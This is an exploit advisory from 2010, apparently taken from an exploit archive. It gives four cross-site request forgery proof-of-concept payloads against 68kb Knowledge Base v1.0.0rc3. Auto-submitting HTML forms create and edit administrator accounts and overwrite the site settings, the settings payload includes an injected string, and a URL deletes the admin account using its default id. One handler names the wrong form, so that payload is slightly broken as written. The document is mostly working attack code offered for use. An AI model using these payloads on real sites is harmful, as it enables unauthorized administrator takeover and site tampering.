68kb-xsrf.txt
Posted on 03 April 2010
Exploit Title: 68kb Knowledge Base v1.0.0rc3 create administrator account CSRF Date: 2010-04-02 Author: Jelmer de Hen Software Link: http://68kb.googlecode.com/files/68kb-v1.0.0rc3.zip Version: v1.0.0rc3 <html> <body onload="document.forms["edit"].submit()"> <form name="create" method="post" action="http://<server>/index.php/admin/users/add"> <input type=hidden name="username" value="JohnDoe"> <input type=hidden name="email" value="email"> <input type=hidden name="level" value="1"> <input type=hidden name="password" value="password"> <input type=hidden name="passconf" value="password"> </form> </body> </html> Exploit Title: 68kb Knowledge Base v1.0.0rc3 edit administrator account CSRF Date: 2010-04-02 Author: Jelmer de Hen Software Link: http://68kb.googlecode.com/files/68kb-v1.0.0rc3.zip Version: v1.0.0rc3 <html> <body onload="document.forms["edit"].submit()"> <form name="edit" method="post" action="http://<server>/index.php/admin/users/edit/1"> <input type=hidden name="username" value="JohnDoe"> <input type=hidden name="email" value="email"> <input type=hidden name="level" value="1"> <input type=hidden name="password" value="password"> <input type=hidden name="passconf" value="password"> <input type=hidden name="id" value="1"> </form> </body> </html> Exploit Title: 68kb Knowledge Base v1.0.0rc3 delete administrator account CSRF Date: 2010-04-02 Author: Jelmer de Hen Software Link: http://68kb.googlecode.com/files/68kb-v1.0.0rc3.zip Version: v1.0.0rc3 http://server/index.php/admin/users/delete/<id> The default id for the admin is 1. Exploit Title: 68kb Knowledge Base v1.0.0rc3 edit main settings CSRF Date: 2010-04-02 Author: Jelmer de Hen Software Link: http://68kb.googlecode.com/files/68kb-v1.0.0rc3.zip Version: v1.0.0rc3 <html> <body onload="document.forms['edit_settings'].submit()"> <form name="edit_settings" action="http://server/index.php/admin/settings/main" method="post"> <input type=hidden name="site_name" value="Your Site"> <input type=hidden name="site_keywords" value='">escapable'> <input type=hidden name="site_description" value=""> <input type=hidden name="site_email" value="a@a.com"> <input type=hidden name="max_search" value="5"> <input type=hidden name="comments" value="5"> <input type=hidden name="cache_time" value="0"> </form> </body> </html>
